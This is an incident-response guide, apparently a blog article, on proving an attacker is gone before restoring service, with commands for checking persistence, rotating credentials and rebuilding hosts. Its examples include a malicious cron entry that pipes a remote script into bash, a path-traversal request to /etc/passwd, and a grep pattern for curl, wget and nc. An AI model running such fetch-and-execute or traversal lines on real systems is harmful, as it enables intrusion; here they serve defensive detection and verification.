Eradication and recovery: prove the attacker is gone before reopening

TL;DR — After containment, do not reopen access because systems "look normal." Reopen only after you can show three things with evidence: the original access path is closed, every persistence mechanism you can find has been removed or rotated, and fresh telemetry from rebuilt or cleaned systems stays quiet through a defined observation window. Reading time: ~7 min

What it is and where it sits

In incident response, eradication and recovery is the phase after containment and before normal operations resume. Containment stops the bleeding: disable accounts, block egress, isolate hosts, freeze deploys. Eradication answers the harder question: did you actually remove the attacker, their tools, and their ways back in? Recovery is the controlled return of service after you can defend that answer.

For a software team, this sits across the whole request and data path, not in one tool. You are validating and resetting trust at every layer the attacker could have touched:

• edge: DNS, CDN, WAF, TLS certs, reverse proxy config
• identity: SSO, IAM roles, API keys, CI tokens, SSH authorized keys
• compute: VM images, containers, startup scripts, cron/systemd, kube manifests
• app: env vars, feature flags, webhook secrets, session signing keys
• data: database users, logical replication slots, backups, object storage policies
• observability: logs, metrics, audit trails, EDR, flow logs

What it replaces: ad-hoc "we patched it and restarted" recovery. What talks to it: your incident commander, infra automation, identity provider, logging stack, and deployment pipeline.

[Users] ---- 7. traffic restored ----> [Edge]
[Edge] ---- 6. reopen routes ----> [App]
[App] ---- 5. validated deploy ----> [DB]
                 ^
                 | 4. fresh creds/secrets
[IdP/IAM] ---- 3. rotate trust ----> [App]
                 ^
                 | 2. rebuild/clean hosts
[Forensics] ---- 1. identify access+persistence ----> [Compute]

The architecture point that matters: recovery should prefer known-good artifacts over in-place cleaning when possible. Rebuild a node from a trusted image and redeploy from source control beats trying to prove a long-lived host is clean.

How it actually works

Use a single end-to-end example: attacker got a GitHub Actions secret, used it to deploy a modified container image, and added persistence by creating a new IAM access key and a cron job on one VM. You contained by disabling public writes, revoking the CI token, and pulling the app out of rotation.

Step 1: Prove the initial access path is closed

Start from the incident timeline and close the exact path used.

If the path was a leaked CI secret, revoke it in the provider UI and verify from the CLI that it no longer works. Do not stop at clicking "rotate"; test the old credential.

export AWS_ACCESS_KEY_ID=AKIAOLDLEAKEDKEY
export AWS_SECRET_ACCESS_KEY='old-secret'
aws sts get-caller-identity

Expected failure shape:

An error occurred (InvalidClientTokenId) when calling the GetCallerIdentity operation: The security token included in the request is invalid.

If the old token still returns an ARN, you have not closed the path.

For app-layer compromise, replay the original exploit safely against a staging clone or a quarantined copy. If it was an SSRF, path traversal, or auth bypass, rerun the exact request and confirm the fixed behavior and status code.

curl -i https://staging.example.com/download?file=../../etc/passwd

Expected fixed response shape:

HTTP/2 400
content-type: application/json

{"error":"invalid path"}

Step 2: Find and remove persistence

Persistence is what gets teams reinfected. Check the places attackers actually use, not just malware scanners.

On Linux VMs, enumerate:

sudo systemctl list-unit-files --type=service --state=enabled
sudo crontab -l
sudo ls -la /etc/cron.*
sudo find /etc/systemd/system /usr/lib/systemd/system -type f -name '*.service' -mtime -14 -ls
sudo find /home /root -maxdepth 3 -type f \( -name 'authorized_keys' -o -name '.bashrc' -o -name '.profile' \) -mtime -14 -ls
sudo ss -lntp

What you are looking for:

• new service units with vague names like sys-updater.service
• cron entries that curl | sh, wget, or invoke base64 blobs
• recently modified authorized_keys
• unexpected listeners on high ports

If you find a suspect cron entry:

sudo crontab -l

Output shape:

*/5 * * * * /usr/bin/curl -fsSL https://198.51.100.24/u.sh | /bin/bash

Remove it and preserve evidence first.

⚠️ Deleting files, units, or cron entries can destroy forensic evidence and break a later root-cause review. Before removal, collect copies, hashes, timestamps, process lists, and relevant logs to write-once incident storage.

sudo crontab -l > /var/tmp/root.crontab.before
sha256sum /var/tmp/root.crontab.before
sudo crontab -r

For IAM persistence, list access keys and compare creation dates to the incident window.

aws iam list-access-keys --user-name deploy-bot

Output shape:

{
  "AccessKeyMetadata": [
    {
      "UserName": "deploy-bot",
      "AccessKeyId": "AKIAKNOWNGOOD",
      "Status": "Active",
      "CreateDate": "2026-10-29T11:02:14+00:00"
    },
    {
      "UserName": "deploy-bot",
      "AccessKeyId": "AKIASUSPICIOUSNEW",
      "Status": "Active",
      "CreateDate": "2026-10-30T02:17:09+00:00"
    }
  ]
}

Deactivate and delete the suspicious key, then check CloudTrail or your provider's audit log for where it was used.

Step 3: Reset trust, not just the compromised secret

Attackers often copy more than the one credential you found. Rotate outward from the compromised component:

• CI secret used to deploy
• registry credentials used to pull images
• cloud role credentials available to that workload
• app secrets mounted into that workload
• session signing keys if user sessions may have been forged
• database passwords if the app could read them

For Kubernetes, force a rollout after replacing secrets so old pods cannot keep stale credentials in memory.

kubectl -n prod create secret generic app-secrets \
  --from-literal=DATABASE_URL='postgres://app:NEWPASS@db/prod' \
  --from-literal=SESSION_SECRET='new-random-64-bytes' \
  -o yaml --dry-run=client | kubectl apply -f -

kubectl -n prod rollout restart deploy/web
kubectl -n prod rollout status deploy/web --timeout=180s

If rollout status hangs or exits non-zero, inspect events before proceeding:

kubectl -n prod describe deploy/web
kubectl -n prod get events --sort-by=.lastTimestamp | tail -20

Step 4: Recover onto known-good infrastructure

Best case: rebuild from a trusted base image, redeploy from reviewed source, and restore only clean data. Avoid reusing mutable hosts if the attacker had root.

For a VM-based app, create a new instance from your approved image, attach only the minimum role, deploy the reviewed release artifact, and keep the old instance isolated for evidence. For containers, rebuild images with --no-cache, pin base image digests, and verify the digest you deploy is the one your CI produced.

docker build --no-cache -t registry.example.com/app:2026-10-30 .
docker push registry.example.com/app:2026-10-30
docker inspect --format='{{index .RepoDigests 0}}' registry.example.com/app:2026-10-30

Step 5: Validate with fresh telemetry before reopening

This is the proof step. Define explicit reopen criteria and test them from outside and inside.

Examples:

• old credentials fail with 401, 403, or provider-specific invalid-token errors
• no unexpected startup jobs, listeners, users, keys, or IAM sessions remain
• app health checks pass on rebuilt nodes only
• no new alerts for the original IOC set during a fixed observation window, often 30-120 minutes depending on traffic and attacker dwell time
• audit logs show no successful use of revoked credentials after rotation time

Useful checks:

curl -I https://app.example.com/healthz
journalctl -u app --since '30 min ago' --no-pager | tail -50
sudo lastlog | head
aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=deploy-bot --max-results 20

A healthy edge response might look like:

HTTP/2 200
content-type: text/plain
cache-control: no-store

A misconfigured reopen often shows redirect loops or traffic still hitting the old stack:

curl -I https://app.example.com/

HTTP/2 301
location: http://app.example.com/
server: nginx

That location: http:// is a classic bad reopen signal if you intended HTTPS-only behind a proxy; clients may downgrade or loop if X-Forwarded-Proto handling is wrong.

When to use it (and when not to)

You probably do not need the heavyweight version if the event was clearly a false positive or a blocked attempt with no successful authentication, no code execution, and no writes. But if you lack logs to prove that, assume more scope, not less.

Trade-offs

• Rebuild from known-good images reduces reinfection risk; cost is downtime risk, slower recovery, and possible configuration drift if your infra-as-code is incomplete.
• Broad credential rotation cuts off hidden persistence; cost is cascading outages when forgotten integrations still use old secrets.
• Longer observation windows increase confidence; cost is delayed reopen and business pressure.
• Preserving evidence improves root-cause analysis and legal defensibility; cost is extra operational steps and slower cleanup.
• Restricting reopen to a canary slice reduces blast radius; cost is more routing complexity and partial-service behavior users may notice.
• Turning on verbose logging helps detect residual activity; cost is higher ingest/storage and possible exposure of sensitive fields if log scrubbing is weak.

The main trade-off is confidence versus time. Teams get burned when they optimize only for time.

In practice

Example 1: nginx maintenance gate while you validate rebuilt backends

server {
    listen 443 ssl http2;
    server_name app.example.com;

    ssl_certificate     /etc/letsencrypt/live/app/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/app/privkey.pem;

    location = /healthz {
        add_header Cache-Control no-store;
        return 200 'ok';
    }

    location / {
        return 503;
    }

    error_page 503 @maintenance;
    location @maintenance {
        add_header Retry-After 600 always;
        add_header Cache-Control no-store always;
        return 503 'Temporarily unavailable';
    }
}

This keeps the edge alive while blocking normal traffic and preserving a simple health endpoint for probes. Gotcha: if you put maintenance behind a CDN, purge cached 200 responses or clients may still see old content.

Example 2: Postgres role rotation and session eviction

⚠️ Rotating database credentials and terminating sessions can break live jobs and leave partial writes. Do this during containment or while traffic is blocked.

ALTER ROLE app_user WITH PASSWORD 'new-long-random-password';
REVOKE ALL ON DATABASE prod FROM app_user;
GRANT CONNECT ON DATABASE prod TO app_user;
SELECT pg_terminate_backend(pid)
FROM pg_stat_activity
WHERE usename = 'app_user'
  AND pid <> pg_backend_pid();

This rotates the password and kicks existing sessions so stolen credentials stop working immediately. Gotcha: password rotation alone does not evict already-authenticated sessions; you need pg_terminate_backend or an app restart.

Example 3: Linux checks for unauthorized persistence on a suspect host

sudo systemctl list-timers --all
sudo grep -R --line-number -E 'curl|wget|nc |bash -c|python -c' /etc/cron* /var/spool/cron /etc/systemd/system 2>/dev/null
sudo find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls
sudo ausearch -m USER_LOGIN,USER_START,EXECVE --start recent | tail -50

This surfaces common persistence and execution patterns quickly. Gotcha: absence of hits is not proof of cleanliness; if the host was root-compromised, rebuild is still the safer recovery path.

Further reading

• NIST SP 800-61 Computer Security Incident Handling Guide
• MITRE ATT&CK, Persistence and Credential Access tactics
• The "Logging" and "Transport Security (TLS)" sections of the OWASP Cheat Sheet Series
• PostgreSQL documentation, "Client Authentication" and "Monitoring Database Activity"
• systemd documentation, systemctl, unit files, and timers

This article was written by an AI system and published pending human review. Verify anything you intend to act on.